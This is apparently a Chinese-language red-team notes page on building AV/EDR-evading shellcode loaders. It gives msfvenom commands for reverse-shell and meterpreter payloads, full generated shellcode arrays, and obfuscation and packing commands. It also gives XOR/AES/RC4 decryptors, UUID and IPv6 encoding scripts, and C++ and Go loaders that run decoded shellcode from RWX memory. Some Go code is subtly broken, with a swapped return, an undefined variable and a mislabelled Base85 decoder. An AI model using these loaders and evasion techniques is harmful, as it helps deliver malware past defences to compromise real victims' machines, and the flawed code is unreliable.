跳转至

Shellcode loader

杀毒软件和EDR检测原理

杀毒软件和EDR检测病毒主要是有以下几种方式:

  1. 静态检测:对可执行文件做特征扫描或做Hash计算,扫描其中的字符串或字节数据,再与病毒特征库做匹配,如果匹配中则对可执行文件做隔离或清除。

  2. 启发式扫描:分析文件特征,代码结构等来判断是否存在恶意行为。

  3. 沙箱:在隔离环境中运行恶意程序,查看软件是否有敏感行为,比如操控注册表,建立网络连接,可疑的文件访问,可执行内存分配等。

  4. API Hook:一些AV和EDR会Hook住恶意代码经常调用的Win32 API,以便监测软件的行为。例如,如果一个可执行文件调用了分配可读写执行内存,将Shellcode写入分配的内存,创建线程执行分配的内存空间地址代码的API,那么多半这个软件就会被贴上恶意软件的标签。

  5. 内存扫描:一些比较厉害的商业EDR会执行内存扫描,比如MDE,Cortex,Crowd Strike。这一检测方式的效果是非常好的。因为无论Shellcode如何加密,要在内存中执行就必须在加载进入内存中后解密,这时候的Shellcode就相当于赤裸在EDR的扫描下,可以类比CS生成Raw格式的shellcode后,无保护的放在有AV或者EDR的机器上。如果没有实施一些内存扫描规避技术,就几乎会被检测出来。

规避思路

前三种的检测方法都有一些比较好的绕过方法,比如针对静态检测,我们可以采取Shellcode与加载器分离的方式,并且将Shellcode以某种方法加密,这样就不会存在比较显著的特征。

针对启发式扫描,我们可以将参考的代码简单做下混淆,修改函数名和变量名,并可以添加一些无关代码;动态寻址我们要调用的函数,这样要调用的函数名就不会出现在IAT表中。

针对沙箱,我们可以使用休眠,载入虚假dll,检查内存,CPU数量来检测执行环境是否在沙箱中,如果在沙箱中则停止执行。

后两种检测方法的规避技术针对不同的AV和EDR就可能会出现不同的效果。针对API Hook,我们可以使用一些不常见的Win32 API, 或者unhook来规避

但这种方法针对一些AV可能还有些用处,**针对EDR**效果就收效甚微了。EDR需要使用Direct Syscall或者Indirect Syscall的方式来规避API Hook.

总结来说,要在AV或者EDR无感的条件下执行CS 的Beacon,需要做到:

  1. Shellcode与Loader分离,并将Shellcode做加密,规避静态查杀

  2. 混淆函数名,变量名,动态加载API,规避启发式扫描

  3. 增加检测沙箱的技术,如检测内存,CPU数量等,规避沙箱检测

  4. 调用生僻API,unhook API或者直接进行syscall来规避API Hook。

  5. 自定义C2 profile(这个也可以减少一些内存和行为特征), 自定义用户定义的反射型加载器来规避内存中的扫描,比如让Beacon 在休眠时自动加密,在执行解密;在休眠时修改内存保护属性,变为读写;在执行时变为读写执行等。

编译混淆

golang

取消黑框

  • 编译命令
Bash
go build -ldflags="-H windowsgui" mian.go
  • 包含"github.com/lxn/win"

在mian函数第一行加上win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)

Go
package main

import "github.com/lxn/win"

func main(){
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}

常用编译命令

常用编译命令,免杀效果较好,可以减少文件体积

Bash
go build -ldflags="-s -w" -o 1.exe

garble混淆

一些go工具混淆编译后也可以实现免杀效果

  • 安装
Bash
go install mvdan.cc/garble@latest -g

正常会安装在go/bin目录下

  • 混淆偏移
Bash
# in macos/linux
GOOS=windows GOARCH=amd64 garble -literals -tiny -seed=random build -o app.exe main.go

# in windows
garble -literals -tiny -seed=random build -o app.exe main.go
  • 其他编译
Bash
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
garble(混淆库):
  -tiny              删除额外信息                    
  -literals          混淆文字
  -seed=random       base64编码的随机种子 
 go:
  -w                 去掉调试信息,不能gdb调试了
  -s                 去掉符号表
  -H windowsgui      隐藏执行窗口,不占用 cmd 终端。(被查杀率高)
  -race              使数据允许竞争检测,编译时改变了生成后的文件特征
  ,使得杀软无法检测,当然有一天也会失效的。

去特征

https://github.com/optiv/Mangle

可以使用去特征工具再进行一步特征去除:

Text Only
Mangle_1.2_windows_amd64.exe -I app-amd64.exe -M -O aaa.exe

upx压缩体积

马子太大的话可以使用这个压缩体积

https://github.com/upx/upx

Text Only
upx.exe -9 xxx.exe

生成shellcode

以MSF生成的shellcode为例

Bash
# 32位
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -b -a x86 -f c
# 64位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f c
C
# 32位
Final size of c file: 1632 bytes
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";

# 64位
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x1a\x0a\xac\x16\x7a\x1c\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";

shellcode混淆

去除shellcode的\x

Bash
# linux
sed -i 's/\\x//g' shellcode.txt

shellcode加密混淆

AES加密

Go
# Aes ecb encrypt
func AesEcbEncrypt(data, key []byte) []byte {
    cipher, _ := aes.NewCipher(generateAesKey(key))
    length := (len(data) + aes.BlockSize) / aes.BlockSize
    plain := make([]byte, length*aes.BlockSize)
    copy(plain, data)
    pad := byte(len(plain) - len(data))
    for i := len(data); i < len(plain); i++ {
        plain[i] = pad
    }
    encrypted := make([]byte, len(plain))
    for bs, be := 0, cipher.BlockSize(); bs < len(plain); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
        cipher.Encrypt(encrypted[bs:be], plain[bs:be])
    }
    return encrypted
}

# Aes ecb decrypt
func AesEcbDecrypt(data, key []byte) []byte {
    cipher, _ := aes.NewCipher(generateAesKey(key))
    decrypted := make([]byte, len(data))
    for bs, be := 0, cipher.BlockSize(); bs < len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
        cipher.Decrypt(decrypted[bs:be], data[bs:be])
    }
    // Remove padding
    pad := decrypted[len(decrypted)-1]
    return decrypted[:len(decrypted)-int(pad)]
}

func generateAesKey(key []byte) []byte {
    // Ensure the key is 32 bytes long
    if len(key) < 32 {
        paddedKey := make([]byte, 32)
        copy(paddedKey, key)
        return paddedKey
    }
    return key[:32]
}

Xor + Base64加密

Go
func DecryptXorBase64(data []byte, key string) []byte {
    // Decode the Base64 string
    decodedData, err := base64.StdEncoding.DecodeString(string(data))
    if err != nil {
        fmt.Println("Error decoding Base64 string:", err)
        return nil
    }

    // XOR decryption
    keyBytes := []byte(key)
    decrypted := make([]byte, len(decodedData))
    for i := range decodedData {
        decrypted[i] = decodedData[i] ^ keyBytes[i%len(keyBytes)]
    }

    return decrypted
}

Base85 + Xor + RC4加密

Go
func DecryptBase85XorRc4(data []byte, base85Key, xorKey, rc4Key string) []byte {
    // Decode the Base85 string
    decodedData, err := base64.StdEncoding.DecodeString(string(data))
    if err != nil {
        fmt.Println("Error decoding Base85 string:", err)
        return nil
    }

    // XOR decryption
    xorKeyBytes := []byte(xorKey)
    xorDecrypted := make([]byte, len(decodedData))
    for i := range decodedData {
        xorDecrypted[i] = decodedData[i] ^ xorKeyBytes[i%len(xorKeyBytes)]
    }

    // RC4 decryption
    rc4Cipher, err := rc4.NewCipher([]byte(rc4Key))
    if err != nil {
        fmt.Println("Error creating RC4 cipher:", err)
        return nil
    }
    rc4Decrypted := make([]byte, len(xorDecrypted))
    rc4Cipher.XORKeyStream(rc4Decrypted, xorDecrypted)

    return rc4Decrypted
}

Xor + UUID混淆

“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。

UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下:

Text Only
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1

思路

1、伪装 shellcode:

把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。

2、还原 shellcode:

在运行时,用如 UuidFromStringA() 等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。

  • 转换脚本
Python
import argparse
import pathlib
import uuid


def parse_key(s: str) -> bytes:
    if all(c in "0123456789abcdefABCDEF" for c in s):
        s = s.replace(" ", "")
        return bytes.fromhex(s)
    return s.encode()


def main():
    # 解析命令行参数
    p = argparse.ArgumentParser(description="将 shellcode 转换为 UUID 列表")
    p.add_argument("-f", "--file", required=True,
                   help="原始 shellcode 文件(二进制文件)")
    p.add_argument("-k", "--key", default="kun", help="XOR 密钥(字符串或16进制)")
    args = p.parse_args()

    key = parse_key(args.key)
    sc = pathlib.Path(args.file).read_bytes()
    enc = bytearray(b ^ key[i % len(key)] for i, b in enumerate(sc))
    while len(enc) % 16:
        # pad NOP
        enc.append(0x90)

    # 输出 -> 逐行 UUID
    print("\n// 复制以下 UUID 到 loader 的 UUID_BLOB:\n")
    for i in range(0, len(enc), 16):
        print(uuid.UUID(bytes_le=bytes(enc[i:i+16])))


if __name__ == "__main__":
    main()
  • Shellcode_loader

C++

C++
#include <windows.h>


constexpr BYTE XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);

static const wchar_t UUID_BLOB[] = LR"()"; 

int wmain()
{
    // 1) 统计块数, 计算加密大小
    SIZE_T uuidCount = 0;
    for (const wchar_t* p = UUID_BLOB; *p; ++p)
        if (*p == L'\n') ++uuidCount;
    if (UUID_BLOB[0]) ++uuidCount;
    const SIZE_T encSize = uuidCount * 16;

    // 2) 申请 RWX 内存
    BYTE* execMem = static_cast<BYTE*>(
        VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    if (!execMem) return -10;

    // 3) 分割 blob, 调用 UuidFromStringW 写入
    wchar_t* blobCopy = _wcsdup(UUID_BLOB);           // 可写副本
    if (!blobCopy) return -11;
    SIZE_T offset = 0;
    wchar_t* ctx = nullptr;
    for (wchar_t* tok = wcstok(blobCopy, L"\n\r\t ", &ctx);
        tok && *tok;
        tok = wcstok(nullptr, L"\n\r\t ", &ctx))
    {
        UUID* dest = reinterpret_cast<UUID*>(execMem + offset);
        if (UuidFromStringW(reinterpret_cast<RPC_WSTR>(tok), dest) != RPC_S_OK) return -12;
        offset += 16;
    }
    free(blobCopy);

    // 4) XOR 解密 (就地)
    for (SIZE_T i = 0; i < encSize; ++i)
        execMem[i] ^= XOR_KEY[i % KEY_LEN];

    FlushInstructionCache(GetCurrentProcess(), execMem, encSize);

    // 5) 执行
    reinterpret_cast<void(*)()>(execMem)();

    // 6) 自清理
    SecureZeroMemory(execMem, encSize);
    VirtualFree(execMem, 0, MEM_RELEASE);
    return 0;
}

Golang

Go
package main

import (
    "strings"
    "syscall"
    "unsafe"
)

//go:generate go run .

const XORKey = "kun"

// UUID_BLOB - 替换为你加密后的 UUID 列表
const UUID_BLOB = `
41414141-4141-4141-4141-414141414141
42424242-4242-4242-4242-424242424242
DEADBEEF-CAFE-1337-ABCD-0123456789AB
`

// Windows API via syscall
var (
    kernel32               = syscall.NewLazyDLL("kernel32.dll")
    procVirtualAlloc       = kernel32.NewProc("VirtualAlloc")
    procVirtualFree        = kernel32.NewProc("VirtualFree")
    procFlushInstructionCache = kernel32.NewProc("FlushInstructionCache")
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

func VirtualAlloc(lpAddress unsafe.Pointer, dwSize uintptr, flAllocationType uint32, flProtect uint32) (unsafe.Pointer, error) {
    addr, _, err := procVirtualAlloc.Call(
        uintptr(lpAddress),
        dwSize,
        uintptr(flAllocationType),
        uintptr(flProtect),
    )
    if addr == 0 {
        return nil, err
    }
    return unsafe.Pointer(addr), nil
}

func VirtualFree(lpAddress unsafe.Pointer, dwSize uintptr, dwFreeType uint32) error {
    ret, _, err := procVirtualFree.Call(
        uintptr(lpAddress),
        dwSize,
        uintptr(dwFreeType),
    )
    if ret == 0 {
        return err
    }
    return nil
}

func FlushInstructionCache() {
    procFlushInstructionCache.Call(uintptr(currentProcess()), ^uintptr(0), 0)
}

func currentProcess() uintptr {
    return uintptr(^uint(0) >> 1) // GetCurrentProcess() 伪值,实际为 -1
}

// uuidToBytes 将 UUID 字符串转为 16 字节
func uuidToBytes(uuidStr string) ([]byte, bool) {
    uuidStr = strings.Map(func(r rune) rune {
        if (r >= '0' && r <= '9') || (r >= 'a' && r <= 'f') || (r >= 'A' && r <= 'F') {
            return r
        }
        return -1
    }, uuidStr)

    if len(uuidStr) != 32 {
        return nil, false
    }

    data := make([]byte, 16)
    for i := 0; i < 16; i++ {
        _, err := sscanf2Byte(uuidStr[i*2:(i+1)*2])
        if err != nil {
            return nil, false
        }
        data[i] = err
    }
    return data, true
}

// 简易 hex 解析(Go 没有 sscanf,自己写)
func sscanf2Byte(s string) (byte, byte) {
    var b byte
    var err error
    for _, c := range s {
        b <<= 4
        switch {
        case c >= '0' && c <= '9':
            b |= byte(c - '0')
        case c >= 'a' && c <= 'f':
            b |= byte(c-'a') + 10
        case c >= 'A' && c <= 'F':
            b |= byte(c-'A') + 10
        default:
            return 0, 0
        }
    }
    return 0, b
}

func main() {
    // 1) 提取所有非空行的 UUID
    lines := strings.Split(UUID_BLOB, "\n")
    var rawData []byte

    for _, line := range lines {
        line = strings.TrimSpace(line)
        if line == "" {
            continue
        }
        bytes, ok := uuidToBytes(line)
        if !ok {
            continue // 忽略非法 UUID
        }
        rawData = append(rawData, bytes...)
    }

    if len(rawData) == 0 {
        return
    }

    // 2) XOR 解密
    key := []byte(XORKey)
    for i := range rawData {
        rawData[i] ^= key[i%len(key)]
    }

    // 3) 分配 RWX 内存
    execMem, err := VirtualAlloc(nil, uintptr(len(rawData)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil {
        return
    }

    // 4) 写入解密后的 shellcode
    dst := unsafe.Slice((*byte)(execMem), len(rawData))
    copy(dst, rawData)

    // 5) 刷新指令缓存(Windows)
    FlushInstructionCache()

    // 6) 执行!
    // 将 execMem 转为函数指针并调用
    callAddr := *(*func())(unsafe.Pointer(&execMem))
    callAddr()

    // 7) 自清理
    // 清零
    for i := range dst {
        dst[i] = 0
    }
    VirtualFree(execMem, 0, 0x8000) // MEM_RELEASE = 0x8000
}

Xor + IPv6混淆

“IPv6 Obfuscation” 指的是利用 IPv6 地址格式,将敏感内容(如 shellcode、payload、命令参数等)进行“伪装”或“编码”,以躲避静态特征匹配、签名检测等安全机制。它属于一种结构伪装 + 编码混淆的免杀技巧。

IPv6 是 128 位地址,由 8 段 16 位(每段 4 个十六进制字符)组成:

Text Only
格式:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx

思路

类似于UUID,这类思路基本是一个意思!

1、将原始的二进制数据(如 shellcode)按每 16 字节分段;

2、每 2 字节表示成 4 位十六进制,拼成 IPv6 格式;

3、在代码中以字符串数组形式呈现,伪装为“IPv6 地址”;

4、程序运行时再反向还原成原始二进制数据。

  • 转换脚本
Python
import argparse


def xor_encrypt(data, key):
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])


def to_ipv6_block(data16):
    # 16 字节转为 IPv6 格式:8组2字节,每组转为4位16进制
    hex_parts = [f'{(data16[i] << 8) + data16[i+1]:04X}' for i in range(0, 16, 2)]  # noqa
    return ':'.join(hex_parts)


def pad_to_16_blocks(data):
    # 不足16字节,使用 0 补齐
    if len(data) % 16 != 0:
        pad_len = 16 - (len(data) % 16)
        data += b'\x00' * pad_len
    return data


def parse_args():
    parser = argparse.ArgumentParser(description="XOR Encrypt and Convert Shellcode to IPv6 Format")  # noqa
    parser.add_argument('--key', type=str, default='kun',
                        help='XOR encryption key (default: kun)')
    parser.add_argument('--input', type=str, required=True,
                        help='Input shellcode file (default: payload.bin)')
    return parser.parse_args()


def main():
    # get args
    args = parse_args()
    with open(args.input, 'rb') as f:
        raw = f.read()

    print(f"[+] Original shellcode size: {len(raw)} bytes")

    # 1. XOR 加密
    encrypted = xor_encrypt(raw, args.key.encode('utf-8'))

    # 2. 填充为16字节块
    padded = pad_to_16_blocks(encrypted)

    # 3. 分块转换为 IPv6
    ipv6_list = []
    for i in range(0, len(padded), 16):
        block = padded[i:i+16]
        ipv6_list.append(to_ipv6_block(block))

    # 4. 打印为 C++ 格式数组
    print("\n[+] IPv6Shell[] for C++:\n")
    print("const char* IPv6Shell[] = {")
    for ip in ipv6_list:
        print(f'    "{ip}",')
    print("};")
    print(f"#define ElementsNumber {len(ipv6_list)}")
    print(f"#define SizeOfShellcode {len(padded)}")


if __name__ == '__main__':
    main()
  • Shellcode_load

C++

C++
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

const char* IPv6Shell[] = {
    //自己的payload
};
#define ElementsNumber 56
#define SizeOfShellcode 896

unsigned char xor_key[] = { 'k','u','n' };
const int key_len = sizeof(xor_key);

BOOL DecodeIPv6Fuscation(const char* IPV6[], PVOID LpBaseAddress) {
    PCSTR Terminator = NULL;
    NTSTATUS STATUS;
    int offset = 0;

    for (int i = 0; i < ElementsNumber; i++) {
        PVOID Target = (PVOID)((ULONG_PTR)LpBaseAddress + offset);
        STATUS = RtlIpv6StringToAddressA(IPV6[i], &Terminator, (in6_addr*)Target);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] Decode failed: %s (Status: 0x%X)\n", IPV6[i], STATUS);
            return FALSE;
        }
        offset += 16;
    }
    return TRUE;
}

void XorDecryptShellcode(PBYTE buffer, SIZE_T size) {
    for (SIZE_T i = 0; i < size; ++i) {
        buffer[i] ^= xor_key[i % key_len];
    }
}

int main() {
    PVOID LpBaseAddress = VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!LpBaseAddress) {
        printf("[!] VirtualAlloc failed: %d\n", GetLastError());
        return -1;
    }

    // Step 1: 解码 IPv6 表达的 shellcode
    if (!DecodeIPv6Fuscation(IPv6Shell, LpBaseAddress)) {
        return -1;
    }

    // Step 2: XOR 解密(解码完之后)
    XorDecryptShellcode((PBYTE)LpBaseAddress, SizeOfShellcode);
    printf("[+] XOR 解密完成\n");

    // Step 3: 执行 shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LpBaseAddress, NULL, 0, NULL);
    if (!hThread) {
        printf("[!] CreateThread failed: %d\n", GetLastError());
        return -1;
    }

    printf("[+] Shellcode 执行中...\n");
    WaitForSingleObject(hThread, INFINITE);

    VirtualFree(LpBaseAddress, 0, MEM_RELEASE);
    return 0;
}
  • Golang
Go
package main

import (
    "syscall"
    "unsafe"
    "fmt"
    "strings"
)

// ==============================
// 配置区(需与原始 C++ 对齐)
// ==============================

const (
    ElementsNumber  = 56
    SizeOfShellcode = 896
)

// 替换为你的实际 payload(伪造 IPv6 格式)
var IPv6Shell = []string{
    // 示例(请替换):
    // "ffff::1234:5678:9abc:def1:2345",
    // "ffff::dead:beef:cafe:babe:1122",
    // ...
    // 共 56 个,每个代表 16 字节
}

var xorKey = []byte{'k', 'u', 'n'}

// ==============================
// Windows API 导入
// ==============================

var (
    kernel32          = syscall.NewLazyDLL("kernel32.dll")
    ntdll             = syscall.NewLazyDLL("ntdll.dll")

    procVirtualAlloc  = kernel32.NewProc("VirtualAlloc")
    procVirtualFree   = kernel32.NewProc("VirtualFree")
    procCreateThread  = kernel32.NewProc("CreateThread")
    procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")

    procRtlIpv6StringToAddress = ntdll.NewProc("RtlIpv6StringToAddressA")
)

const (
    MEM_COMMIT                  = 0x1000
    MEM_RESERVE                 = 0x2000
    PAGE_EXECUTE_READWRITE      = 0x40
    INFINITE                    = 0xFFFFFFFF
)

// ==============================
// 工具函数:模拟 RtlIpv6StringToAddressA
// ==============================

// in6_addr 表示 IPv6 地址(16 字节)
type in6_addr [16]byte

// RtlIpv6StringToAddressA 模拟 Windows API
func RtlIpv6StringToAddressA(ipStr string) (*in6_addr, bool) {
    addr := in6_addr{}

    // 去掉前缀(如 ffff::),只保留最后 8 组 16 位字段
    parts := strings.Split(ipStr, ":")
    if len(parts) < 8 {
        return nil, false
    }

    // 取最后 8 段(假设 payload 编码在最后 16 字节)
    var hexParts []string
    for i := len(parts) - 8; i < len(parts); i++ {
        hexParts = append(hexParts, parts[i])
    }

    idx := 0
    for _, h := range hexParts {
        if len(h) == 0 {
            h = "0"
        }
        // 补齐为 4 位
        for len(h) < 4 {
            h = "0" + h
        }
        b1, err1 := hexChar(h[0])
        b2, err2 := hexChar(h[1])
        b3, err3 := hexChar(h[2])
        b4, err4 := hexChar(h[3])
        if err1 != nil || err2 != nil || err3 != nil || err4 != nil {
            return nil, false
        }
        addr[idx] = (b1 << 4) | b2
        addr[idx+1] = (b3 << 4) | b4
        idx += 2
    }
    return &addr, true
}

// 十六进制字符转数值
func hexChar(c byte) (byte, error) {
    switch {
    case c >= '0' && c <= '9':
        return c - '0', nil
    case c >= 'a' && c <= 'f':
        return c - 'a' + 10, nil
    case c >= 'A' && c <= 'F':
        return c - 'A' + 10, nil
    default:
        return 0, fmt.Errorf("invalid hex")
    }
}

// ==============================
// 核心函数:解码 IPv6 混淆 shellcode
// ==============================

func DecodeIPv6Fuscation(ipv6List []string, output []byte) bool {
    if len(output) < SizeOfShellcode {
        return false
    }

    offset := 0
    for i, ip := range ipv6List {
        if i >= ElementsNumber {
            break
        }
        ip = strings.TrimSpace(ip)
        if ip == "" {
            continue
        }

        addr, ok := RtlIpv6StringToAddressA(ip)
        if !ok {
            fmt.Printf("[!] Decode failed: %s\n", ip)
            return false
        }

        copy(output[offset:], addr[:])
        offset += 16
    }
    return true
}

// ==============================
// XOR 解密
// ==============================

func XorDecryptShellcode(data []byte, key []byte) {
    for i := range data {
        data[i] ^= key[i%len(key)]
    }
}

// ==============================
// 主函数
// ==============================

func main() {
    // Step 1: 分配 RWX 内存
    virAlloc, _, err := procVirtualAlloc.Call(
        0,
        SizeOfShellcode,
        MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE,
    )
    if virAlloc == 0 {
        fmt.Printf("[!] VirtualAlloc failed\n")
        return
    }
    baseAddr := unsafe.Pointer(virAddr)

    // 创建切片访问内存
    shellcode := unsafe.Slice((*byte)(baseAddr), SizeOfShellcode)

    // Step 2: 解码 IPv6 混淆数据
    if !DecodeIPv6Fuscation(IPv6Shell, shellcode) {
        fmt.Printf("[!] IPv6 解码失败\n")
        procVirtualFree.Call(virAlloc, 0, 0x8000) // MEM_RELEASE
        return
    }

    // Step 3: XOR 解密
    XorDecryptShellcode(shellcode, xorKey)
    fmt.Printf("[+] XOR 解密完成\n")

    // Step 4: 创建线程执行
    hThread, _, err := procCreateThread.Call(
        0,
        0,
        virAlloc,
        0,
        0,
        0,
    )
    if hThread == 0 {
        fmt.Printf("[!] CreateThread failed\n")
        procVirtualFree.Call(virAlloc, 0, 0x8000)
        return
    }
    fmt.Printf("[+] Shellcode 执行中...\n")

    // Step 5: 等待执行完成
    procWaitForSingleObject.Call(
        hThread,
        INFINITE,
    )

    // Step 6: 清理
    // 尽量清零
    for i := range shellcode {
        shellcode[i] = 0
    }
    procVirtualFree.Call(virAlloc, 0, 0x8000)
    fmt.Printf("[*] 清理完成\n")
}

Xor + MAC混淆

“MAC Obfuscation” 是一种将 原始 payload(如 shellcode)伪装成 MAC 地址格式 的免杀混淆技术,常用于绕过静态特征扫描、正则特征匹配等杀毒机制。这种方法属于结构伪装 + 可逆编码的一种。

